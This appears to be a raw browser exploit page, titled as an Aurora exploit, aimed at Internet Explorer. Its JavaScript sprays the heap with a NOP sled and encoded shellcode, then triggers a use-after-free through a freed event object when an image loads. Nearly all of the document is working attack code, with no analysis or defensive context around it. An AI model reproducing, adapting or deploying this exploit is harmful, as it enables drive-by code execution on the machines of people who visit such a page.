1.0 Borealis - Aurora exploit

<html>
        <head>
            <script>

            var obj, event_obj;

            function spray_heap()
            {
                var chunk_size, payload, nopsled;

                chunk_size = 0x20000;
                payload = unescape("%ufce8%u0000%ubf00%u5048%u5752%u021a%u1a1e%u1e00%uee52%u4d37%u2bd2%u81b0%u44ba%u504f%u0252%u1c1d%u3816%u3e38%u383e%u342e%u3806%u3909%u323e%u500e%uee02%ufe7f%u2bd2%u81b0%u3dc3%u3a4f%ubf52%u5054%u5752%u6a0c%u200e%u3e26%u3836%u2338%u230e%u3d2a%u0b22%u243c%u3033%u612a%u327c%u3537%ubf52%u506d%u5752%u2427%u2726%u7f75%u237d%u2420%u3b33%u2923%u383c%u7e3b%u2137%u3c26%u247d%u313b%u3235%u7e7e%u2f37%u502a%u5738%u81b0%ub53a%u5048%uee52%u7409%u2bd2%u81b0%u5738%u4ea7%u5752%u134f%u0b68%u2713%u393b%u3f2b%u2425%u0c13%u3226%u2022%u0b0e%u243c%u3033%u612a%u327c%u3537%uee52%u73e2%u2bd4%u81b0%ub53a%u5048%uee52%u7409%u2bd2%u81b0%uadeb%ud185%ua82e%u3a9e%u3421%u2b3a%u6533%u607a%u3537%u632e%u3166%u612e%u6367%u6229%u3337%u347b%u6667%u337d%u3660%u647f%u6e33%u602e%u572f%uc0df%u57c2%u504f%u5d52%ue989%u458b%u3500%u4f57%u5250%u4589%u8300%u04c5%uc085%uee75%ue1ff");
                nopsled2 = unescape("%u6f77%u7270");
                nopsled1 = unescape("%u2018%u2018");
                while (nopsled1.length < 0x18204c)
                    nopsled1 += nopsled1;
                while (nopsled2.length < chunk_size)
                    nopsled2 += nopsled2;
                nopsled_len = chunk_size - (payload.length + 20);
                nopsled1 = nopsled1.substring(0, 0x18204c);
                nopsled2 = nopsled2.substring(0, nopsled_len);
                nopsled = nopsled1 + unescape("%uf9f9") + nopsled2;
                heap_chunks = new Array();
                for (var i = 0 ; i < 500 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }

            function initialize()
            {
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 500 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }

            function ev1(evt)
            {
                event_obj = document.createEventObject(evt);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 500);
            }

            function ev2()
            {
                var data, tmp;

                data = "";
                tmp = unescape("%u2018%u2018");
                for (var i = 0 ; i < 5 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) {
                    obj[i].data = data;
                }
                event_obj.srcElement;
            }

            function check()
            {
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;
            }

            if (check()) {
                initialize();
                spray_heap();
            }
            else
                window.location = 'about:blank'

            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>
        </body>
</html>